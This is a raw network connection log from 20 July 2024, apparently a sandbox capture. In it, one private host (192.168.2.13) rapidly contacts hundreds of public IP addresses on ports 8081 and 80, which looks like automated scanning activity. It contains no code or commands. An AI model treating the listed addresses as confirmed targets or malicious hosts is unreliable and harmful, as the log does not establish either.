Jul 20, 2024 23:05:43.163561106 CEST	43439	8081	192.168.2.13	163.129.254.74
Jul 20, 2024 23:05:43.163561106 CEST	43439	8081	192.168.2.13	171.32.248.17
Jul 20, 2024 23:05:43.163561106 CEST	21679	80	192.168.2.13	95.217.156.9
Jul 20, 2024 23:05:43.163561106 CEST	43439	8081	192.168.2.13	124.59.243.113
Jul 20, 2024 23:05:43.165772915 CEST	21679	80	192.168.2.13	95.194.61.114
Jul 20, 2024 23:05:43.165772915 CEST	21679	80	192.168.2.13	95.141.130.14
Jul 20, 2024 23:05:43.165772915 CEST	21679	80	192.168.2.13	95.189.62.182
Jul 20, 2024 23:05:43.165774107 CEST	21679	80	192.168.2.13	95.105.206.21
Jul 20, 2024 23:05:43.166117907 CEST	21679	80	192.168.2.13	95.46.239.234
Jul 20, 2024 23:05:43.166212082 CEST	43439	8081	192.168.2.13	223.185.221.60
Jul 20, 2024 23:05:43.168270111 CEST	43439	8081	192.168.2.13	120.108.46.247
Jul 20, 2024 23:05:43.170620918 CEST	43439	8081	192.168.2.13	149.254.125.64
Jul 20, 2024 23:05:43.170869112 CEST	43439	8081	192.168.2.13	53.214.210.210
Jul 20, 2024 23:05:43.170869112 CEST	43439	8081	192.168.2.13	158.175.68.21
Jul 20, 2024 23:05:43.173917055 CEST	43439	8081	192.168.2.13	130.239.126.59
Jul 20, 2024 23:05:43.173917055 CEST	43439	8081	192.168.2.13	23.148.119.156
Jul 20, 2024 23:05:43.174034119 CEST	51714	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:43.174783945 CEST	56326	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:43.174783945 CEST	43439	8081	192.168.2.13	84.204.195.22
Jul 20, 2024 23:05:43.175810099 CEST	43439	8081	192.168.2.13	205.22.186.0
Jul 20, 2024 23:05:43.175810099 CEST	39770	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:43.175810099 CEST	43439	8081	192.168.2.13	151.217.231.238
Jul 20, 2024 23:05:43.175811052 CEST	43439	8081	192.168.2.13	223.88.3.243
Jul 20, 2024 23:05:43.177984953 CEST	21679	80	192.168.2.13	95.178.48.208
Jul 20, 2024 23:05:43.178468943 CEST	21679	80	192.168.2.13	95.5.11.143
Jul 20, 2024 23:05:43.178468943 CEST	21679	80	192.168.2.13	95.130.235.196
Jul 20, 2024 23:05:43.178468943 CEST	21679	80	192.168.2.13	95.94.166.207
Jul 20, 2024 23:05:43.178468943 CEST	21679	80	192.168.2.13	95.241.83.100
Jul 20, 2024 23:05:43.178468943 CEST	21679	80	192.168.2.13	95.224.105.26
Jul 20, 2024 23:05:43.179653883 CEST	21679	80	192.168.2.13	95.78.129.45
Jul 20, 2024 23:05:43.179878950 CEST	21679	80	192.168.2.13	95.74.151.4
Jul 20, 2024 23:05:43.179878950 CEST	21679	80	192.168.2.13	95.212.120.213
Jul 20, 2024 23:05:43.179878950 CEST	21679	80	192.168.2.13	95.205.227.214
Jul 20, 2024 23:05:43.179878950 CEST	21679	80	192.168.2.13	95.81.35.82
Jul 20, 2024 23:05:43.180834055 CEST	43439	8081	192.168.2.13	163.100.187.60
Jul 20, 2024 23:05:43.180834055 CEST	43439	8081	192.168.2.13	58.113.54.112
Jul 20, 2024 23:05:43.180834055 CEST	21679	80	192.168.2.13	95.44.80.64
Jul 20, 2024 23:05:43.180834055 CEST	21679	80	192.168.2.13	95.19.83.254
Jul 20, 2024 23:05:43.181739092 CEST	21679	80	192.168.2.13	95.208.55.23
Jul 20, 2024 23:05:43.181739092 CEST	21679	80	192.168.2.13	95.29.14.28
Jul 20, 2024 23:05:43.181739092 CEST	21679	80	192.168.2.13	95.73.98.84
Jul 20, 2024 23:05:43.181739092 CEST	43439	8081	192.168.2.13	178.118.11.0
Jul 20, 2024 23:05:43.182123899 CEST	21679	80	192.168.2.13	95.103.80.130
Jul 20, 2024 23:05:43.182123899 CEST	21679	80	192.168.2.13	95.197.212.159
Jul 20, 2024 23:05:43.182123899 CEST	55516	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:43.182123899 CEST	21679	80	192.168.2.13	95.229.244.13
Jul 20, 2024 23:05:43.182123899 CEST	21679	80	192.168.2.13	95.248.104.247
Jul 20, 2024 23:05:43.182511091 CEST	43439	8081	192.168.2.13	74.190.77.77
Jul 20, 2024 23:05:43.182584047 CEST	50834	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.182584047 CEST	45274	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:43.182584047 CEST	43439	8081	192.168.2.13	189.228.47.46
Jul 20, 2024 23:05:43.183197021 CEST	80	47794	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:43.183223009 CEST	8081	43439	5.181.247.52	192.168.2.13
Jul 20, 2024 23:05:43.183253050 CEST	80	40660	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:43.183267117 CEST	80	56040	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:43.183280945 CEST	8081	43439	64.119.35.195	192.168.2.13
Jul 20, 2024 23:05:43.183291912 CEST	8081	43439	201.214.110.248	192.168.2.13
Jul 20, 2024 23:05:43.183293104 CEST	80	57156	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:43.183300972 CEST	8081	43439	158.144.180.209	192.168.2.13
Jul 20, 2024 23:05:43.183304071 CEST	40660	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:43.183304071 CEST	56040	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:43.183305979 CEST	80	43864	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:43.183306932 CEST	43439	8081	192.168.2.13	5.181.247.52
Jul 20, 2024 23:05:43.183320999 CEST	8081	43439	221.118.89.123	192.168.2.13
Jul 20, 2024 23:05:43.183324099 CEST	8081	43439	73.114.141.101	192.168.2.13
Jul 20, 2024 23:05:43.183386087 CEST	80	36286	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:43.183396101 CEST	80	48026	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:43.183429956 CEST	80	50664	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:43.183484077 CEST	8081	43439	62.44.237.32	192.168.2.13
Jul 20, 2024 23:05:43.183490038 CEST	8081	43439	68.212.82.48	192.168.2.13
Jul 20, 2024 23:05:43.183526039 CEST	8081	43439	42.23.178.51	192.168.2.13
Jul 20, 2024 23:05:43.183528900 CEST	80	46624	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:43.183542967 CEST	8081	43439	80.104.78.242	192.168.2.13
Jul 20, 2024 23:05:43.183554888 CEST	8081	43439	194.234.76.132	192.168.2.13
Jul 20, 2024 23:05:43.183561087 CEST	21679	80	192.168.2.13	95.50.232.4
Jul 20, 2024 23:05:43.183562994 CEST	8081	43439	167.248.67.16	192.168.2.13
Jul 20, 2024 23:05:43.183568954 CEST	8081	43439	4.61.221.117	192.168.2.13
Jul 20, 2024 23:05:43.183584929 CEST	8081	43439	133.255.29.217	192.168.2.13
Jul 20, 2024 23:05:43.183605909 CEST	80	57630	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:43.183619976 CEST	8081	43439	132.90.128.192	192.168.2.13
Jul 20, 2024 23:05:43.183631897 CEST	8081	43439	133.10.91.135	192.168.2.13
Jul 20, 2024 23:05:43.183653116 CEST	8081	43439	37.177.22.199	192.168.2.13
Jul 20, 2024 23:05:43.183660984 CEST	8081	43439	204.141.97.239	192.168.2.13
Jul 20, 2024 23:05:43.183661938 CEST	8081	43439	23.41.209.174	192.168.2.13
Jul 20, 2024 23:05:43.183662891 CEST	8081	43439	12.125.91.136	192.168.2.13
Jul 20, 2024 23:05:43.183670044 CEST	8081	43439	94.215.224.62	192.168.2.13
Jul 20, 2024 23:05:43.183677912 CEST	80	55652	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:43.183684111 CEST	8081	43439	69.46.94.219	192.168.2.13
Jul 20, 2024 23:05:43.183686972 CEST	8081	43439	199.112.81.246	192.168.2.13
Jul 20, 2024 23:05:43.183691978 CEST	8081	43439	31.166.135.218	192.168.2.13
Jul 20, 2024 23:05:43.183696032 CEST	8081	43439	139.223.104.178	192.168.2.13
Jul 20, 2024 23:05:43.183700085 CEST	8081	43439	18.128.72.168	192.168.2.13
Jul 20, 2024 23:05:43.183701992 CEST	8081	43439	8.46.10.105	192.168.2.13
Jul 20, 2024 23:05:43.183706045 CEST	8081	43439	96.170.14.74	192.168.2.13
Jul 20, 2024 23:05:43.183708906 CEST	8081	43439	54.6.201.32	192.168.2.13
Jul 20, 2024 23:05:43.183710098 CEST	8081	43439	73.173.101.17	192.168.2.13
Jul 20, 2024 23:05:43.183712006 CEST	8081	43439	208.202.168.158	192.168.2.13
Jul 20, 2024 23:05:43.183713913 CEST	8081	43439	54.82.85.252	192.168.2.13
Jul 20, 2024 23:05:43.183723927 CEST	8081	43439	41.187.93.64	192.168.2.13
Jul 20, 2024 23:05:43.183725119 CEST	80	37818	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:43.183732986 CEST	8081	43439	175.82.60.87	192.168.2.13
Jul 20, 2024 23:05:43.183737993 CEST	8081	43439	198.187.16.149	192.168.2.13
Jul 20, 2024 23:05:43.183741093 CEST	8081	43439	79.56.222.111	192.168.2.13
Jul 20, 2024 23:05:43.183744907 CEST	80	53648	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:43.183758974 CEST	8081	43439	18.178.234.216	192.168.2.13
Jul 20, 2024 23:05:43.183760881 CEST	8081	43439	212.57.53.188	192.168.2.13
Jul 20, 2024 23:05:43.183765888 CEST	8081	43439	185.177.75.86	192.168.2.13
Jul 20, 2024 23:05:43.183769941 CEST	8081	43439	219.17.98.106	192.168.2.13
Jul 20, 2024 23:05:43.183772087 CEST	8081	43439	164.161.253.110	192.168.2.13
Jul 20, 2024 23:05:43.183790922 CEST	8081	43439	175.73.122.191	192.168.2.13
Jul 20, 2024 23:05:43.183888912 CEST	80	57078	95.127.71.38	192.168.2.13
Jul 20, 2024 23:05:43.183895111 CEST	80	47848	95.109.0.167	192.168.2.13
Jul 20, 2024 23:05:43.183962107 CEST	21679	80	192.168.2.13	95.48.0.218
Jul 20, 2024 23:05:43.183962107 CEST	43439	8081	192.168.2.13	48.164.38.44
Jul 20, 2024 23:05:43.183967113 CEST	80	43402	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:43.183993101 CEST	80	56326	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:43.183995962 CEST	80	60110	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:43.184056997 CEST	8081	32884	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.184057951 CEST	80	33256	95.85.44.222	192.168.2.13
Jul 20, 2024 23:05:43.184060097 CEST	80	38250	95.22.148.165	192.168.2.13
Jul 20, 2024 23:05:43.184083939 CEST	8081	38060	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.184087992 CEST	8081	51946	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.184094906 CEST	8081	36642	100.189.148.44	192.168.2.13
Jul 20, 2024 23:05:43.184178114 CEST	43439	8081	192.168.2.13	118.46.63.51
Jul 20, 2024 23:05:43.184954882 CEST	80	51714	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:43.184968948 CEST	80	39770	95.129.69.195	192.168.2.13
Jul 20, 2024 23:05:43.185095072 CEST	43439	8081	192.168.2.13	158.144.180.209
Jul 20, 2024 23:05:43.185095072 CEST	43439	8081	192.168.2.13	73.114.141.101
Jul 20, 2024 23:05:43.186353922 CEST	57156	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:43.186482906 CEST	36286	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:43.186482906 CEST	43439	8081	192.168.2.13	68.212.82.48
Jul 20, 2024 23:05:43.188838959 CEST	43439	8081	192.168.2.13	96.170.14.74
Jul 20, 2024 23:05:43.188838959 CEST	43439	8081	192.168.2.13	73.173.101.17
Jul 20, 2024 23:05:43.188838959 CEST	43439	8081	192.168.2.13	208.202.168.158
Jul 20, 2024 23:05:43.189872980 CEST	43439	8081	192.168.2.13	167.248.67.16
Jul 20, 2024 23:05:43.190289021 CEST	80	55516	95.91.176.183	192.168.2.13
Jul 20, 2024 23:05:43.191742897 CEST	43439	8081	192.168.2.13	204.141.97.239
Jul 20, 2024 23:05:43.191742897 CEST	43439	8081	192.168.2.13	199.112.81.246
Jul 20, 2024 23:05:43.191742897 CEST	43439	8081	192.168.2.13	139.223.104.178
Jul 20, 2024 23:05:43.191816092 CEST	80	56040	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:43.192899942 CEST	43439	8081	192.168.2.13	128.96.85.145
Jul 20, 2024 23:05:43.194938898 CEST	43439	8081	192.168.2.13	4.61.221.117
Jul 20, 2024 23:05:43.194938898 CEST	43439	8081	192.168.2.13	132.90.128.192
Jul 20, 2024 23:05:43.194938898 CEST	43439	8081	192.168.2.13	23.41.209.174
Jul 20, 2024 23:05:43.194938898 CEST	43439	8081	192.168.2.13	69.46.94.219
Jul 20, 2024 23:05:43.195209026 CEST	80	57156	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:43.195218086 CEST	8081	50834	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.195295095 CEST	43439	8081	192.168.2.13	8.46.10.105
Jul 20, 2024 23:05:43.195384026 CEST	8081	45274	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:43.196567059 CEST	80	36286	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:43.198252916 CEST	43439	8081	192.168.2.13	54.6.201.32
Jul 20, 2024 23:05:43.199295998 CEST	42704	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:43.199295998 CEST	21679	80	192.168.2.13	95.65.29.161
Jul 20, 2024 23:05:43.199295998 CEST	41720	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:43.199295998 CEST	43439	8081	192.168.2.13	24.112.179.33
Jul 20, 2024 23:05:43.199353933 CEST	43439	8081	192.168.2.13	113.63.91.161
Jul 20, 2024 23:05:43.203522921 CEST	43439	8081	192.168.2.13	163.63.170.97
Jul 20, 2024 23:05:43.203522921 CEST	43439	8081	192.168.2.13	66.126.223.53
Jul 20, 2024 23:05:43.203522921 CEST	43439	8081	192.168.2.13	100.250.253.37
Jul 20, 2024 23:05:43.204519987 CEST	43439	8081	192.168.2.13	80.104.78.242
Jul 20, 2024 23:05:43.204603910 CEST	46822	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:43.205037117 CEST	33256	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:43.205290079 CEST	36642	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:43.205290079 CEST	51946	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.205290079 CEST	38060	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.205290079 CEST	53648	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:43.207907915 CEST	38250	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:43.210083961 CEST	56040	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:43.213439941 CEST	36286	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:43.215137959 CEST	43439	8081	192.168.2.13	41.187.93.64
Jul 20, 2024 23:05:43.217103004 CEST	21679	80	192.168.2.13	95.128.241.221
Jul 20, 2024 23:05:43.217103004 CEST	21679	80	192.168.2.13	95.249.241.4
Jul 20, 2024 23:05:43.217103004 CEST	21679	80	192.168.2.13	95.139.99.20
Jul 20, 2024 23:05:43.217797041 CEST	43439	8081	192.168.2.13	64.119.35.195
Jul 20, 2024 23:05:43.218106985 CEST	21679	80	192.168.2.13	95.130.98.115
Jul 20, 2024 23:05:43.218106985 CEST	43439	8081	192.168.2.13	207.35.85.250
Jul 20, 2024 23:05:43.220916033 CEST	50424	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:43.220916033 CEST	36420	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:43.220916033 CEST	43439	8081	192.168.2.13	217.184.27.142
Jul 20, 2024 23:05:43.220916033 CEST	43439	8081	192.168.2.13	50.181.110.97
Jul 20, 2024 23:05:43.221585035 CEST	48480	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.221585035 CEST	58898	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:43.221810102 CEST	47794	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:43.224462986 CEST	43439	8081	192.168.2.13	221.118.89.123
Jul 20, 2024 23:05:43.226135015 CEST	48026	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:43.227396011 CEST	57630	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:43.227396965 CEST	43439	8081	192.168.2.13	94.215.224.62
Jul 20, 2024 23:05:43.227396965 CEST	43439	8081	192.168.2.13	198.187.16.149
Jul 20, 2024 23:05:43.227530956 CEST	37818	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:43.227729082 CEST	43439	8081	192.168.2.13	201.214.110.248
Jul 20, 2024 23:05:43.227729082 CEST	43439	8081	192.168.2.13	62.44.237.32
Jul 20, 2024 23:05:43.228458881 CEST	43864	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:43.228458881 CEST	50664	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:43.228883028 CEST	43439	8081	192.168.2.13	12.125.91.136
Jul 20, 2024 23:05:43.228883028 CEST	55652	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:43.229392052 CEST	43439	8081	192.168.2.13	42.23.178.51
Jul 20, 2024 23:05:43.229392052 CEST	43439	8081	192.168.2.13	194.234.76.132
Jul 20, 2024 23:05:43.229392052 CEST	43439	8081	192.168.2.13	133.255.29.217
Jul 20, 2024 23:05:43.229392052 CEST	43439	8081	192.168.2.13	133.10.91.135
Jul 20, 2024 23:05:43.229437113 CEST	46624	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:43.229437113 CEST	43439	8081	192.168.2.13	37.177.22.199
Jul 20, 2024 23:05:43.230083942 CEST	43439	8081	192.168.2.13	18.128.72.168
Jul 20, 2024 23:05:43.230083942 CEST	43439	8081	192.168.2.13	185.177.75.86
Jul 20, 2024 23:05:43.230356932 CEST	43439	8081	192.168.2.13	31.166.135.218
Jul 20, 2024 23:05:43.230356932 CEST	43439	8081	192.168.2.13	54.82.85.252
Jul 20, 2024 23:05:43.230356932 CEST	43439	8081	192.168.2.13	175.82.60.87
Jul 20, 2024 23:05:43.230357885 CEST	43439	8081	192.168.2.13	79.56.222.111
Jul 20, 2024 23:05:43.230357885 CEST	43439	8081	192.168.2.13	212.57.53.188
Jul 20, 2024 23:05:43.230357885 CEST	43439	8081	192.168.2.13	164.161.253.110
Jul 20, 2024 23:05:43.230357885 CEST	43439	8081	192.168.2.13	175.73.122.191
Jul 20, 2024 23:05:43.230562925 CEST	43439	8081	192.168.2.13	18.178.234.216
Jul 20, 2024 23:05:43.230562925 CEST	43439	8081	192.168.2.13	219.17.98.106
Jul 20, 2024 23:05:43.233254910 CEST	39770	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:43.237699032 CEST	47848	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:43.239273071 CEST	51714	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:43.239907026 CEST	60110	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:43.239907026 CEST	57078	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:43.240026951 CEST	8081	50424	32.17.126.48	192.168.2.13
Jul 20, 2024 23:05:43.240027905 CEST	80	36420	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:43.240034103 CEST	80	58898	95.244.225.178	192.168.2.13
Jul 20, 2024 23:05:43.240035057 CEST	80	47794	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:43.240041018 CEST	80	48026	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:43.240041971 CEST	80	57630	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:43.240053892 CEST	80	43864	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:43.240076065 CEST	80	50664	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:43.240080118 CEST	80	46624	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:43.240087032 CEST	80	55652	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:43.240755081 CEST	57156	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:43.242306948 CEST	33040	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.244142056 CEST	55516	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:43.244213104 CEST	56326	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:43.244213104 CEST	43402	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:43.247771025 CEST	50834	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.247771025 CEST	45274	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:43.248598099 CEST	8081	33040	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.248718977 CEST	33040	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.249604940 CEST	48026	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:43.249604940 CEST	57630	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:43.250161886 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.251943111 CEST	46624	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:43.251943111 CEST	43864	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:43.251943111 CEST	50664	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:43.255218983 CEST	8081	36072	93.210.42.24	192.168.2.13
Jul 20, 2024 23:05:43.255287886 CEST	59260	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:43.255287886 CEST	59114	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.255686045 CEST	45734	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.255686045 CEST	56804	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:43.255687952 CEST	55652	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:43.255687952 CEST	47794	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:43.256618977 CEST	36072	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:43.257019997 CEST	55198	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.260153055 CEST	35028	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:43.260735989 CEST	46284	8081	192.168.2.13	201.159.112.182
Jul 20, 2024 23:05:43.261223078 CEST	58898	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:43.261223078 CEST	36420	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:43.261223078 CEST	50424	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:43.262656927 CEST	42788	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:43.263159990 CEST	45394	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.265489101 CEST	46862	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:43.265860081 CEST	50154	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:43.267036915 CEST	60284	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.267282963 CEST	37050	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:43.270003080 CEST	43090	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.270302057 CEST	36212	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:43.272919893 CEST	34324	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.273159027 CEST	43414	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:43.276097059 CEST	37466	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:43.276350021 CEST	57882	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:43.278840065 CEST	37472	8081	192.168.2.13	154.38.133.150
Jul 20, 2024 23:05:43.279629946 CEST	37768	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:43.282177925 CEST	59034	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:43.283638000 CEST	37484	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:43.285486937 CEST	37628	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:43.287153959 CEST	32992	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:43.288343906 CEST	45248	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:43.290368080 CEST	50082	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:43.291315079 CEST	52842	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:43.293901920 CEST	53478	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:43.294248104 CEST	48176	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:43.296622038 CEST	57658	8081	192.168.2.13	206.53.199.156
Jul 20, 2024 23:05:43.297101021 CEST	33872	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:43.299474001 CEST	54494	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:43.299783945 CEST	45212	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:43.302707911 CEST	38284	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:43.303822041 CEST	46456	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:43.305697918 CEST	56208	8081	192.168.2.13	1.70.190.239
Jul 20, 2024 23:05:43.307056904 CEST	41892	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:43.307897091 CEST	56942	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:43.309617996 CEST	52910	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:43.310956955 CEST	51954	8081	192.168.2.13	48.169.101.121
Jul 20, 2024 23:05:43.312634945 CEST	32940	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:43.313647985 CEST	53954	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:43.315768003 CEST	34822	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:43.316473961 CEST	35782	8081	192.168.2.13	65.70.49.213
Jul 20, 2024 23:05:43.318833113 CEST	33508	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:43.319040060 CEST	40132	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:43.320460081 CEST	48480	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.320460081 CEST	48480	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.321852922 CEST	48736	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.321980953 CEST	53866	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:43.323291063 CEST	46804	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.323291063 CEST	46804	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.323293924 CEST	33040	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:43.324347973 CEST	47052	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:43.325967073 CEST	38598	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:43.326565027 CEST	54692	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.326565027 CEST	54692	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.328298092 CEST	54952	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.329260111 CEST	47906	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:43.329740047 CEST	43346	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.329740047 CEST	43346	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.330518007 CEST	43608	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.331705093 CEST	46406	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.331705093 CEST	46406	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.331860065 CEST	40848	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:43.333173990 CEST	46668	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.336510897 CEST	53164	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.336510897 CEST	53164	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.336792946 CEST	47806	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:43.337368011 CEST	53426	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.339342117 CEST	41110	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.339342117 CEST	41110	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.340276957 CEST	50754	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:43.340641022 CEST	41374	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.342236042 CEST	51946	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.342236042 CEST	51946	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.343125105 CEST	52208	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:43.343290091 CEST	43234	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:43.344760895 CEST	38060	8081	192.168.2.13	129.234.53.71
